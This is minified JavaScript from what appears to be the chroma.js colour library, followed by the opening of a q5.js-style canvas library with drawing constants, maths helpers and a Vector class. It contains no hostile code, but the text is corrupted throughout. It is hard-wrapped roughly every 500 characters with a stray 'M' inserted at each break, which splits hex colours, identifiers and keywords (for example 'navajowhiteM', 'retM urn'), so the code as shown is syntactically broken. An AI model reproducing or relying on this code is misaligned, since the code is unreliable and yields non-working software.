adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
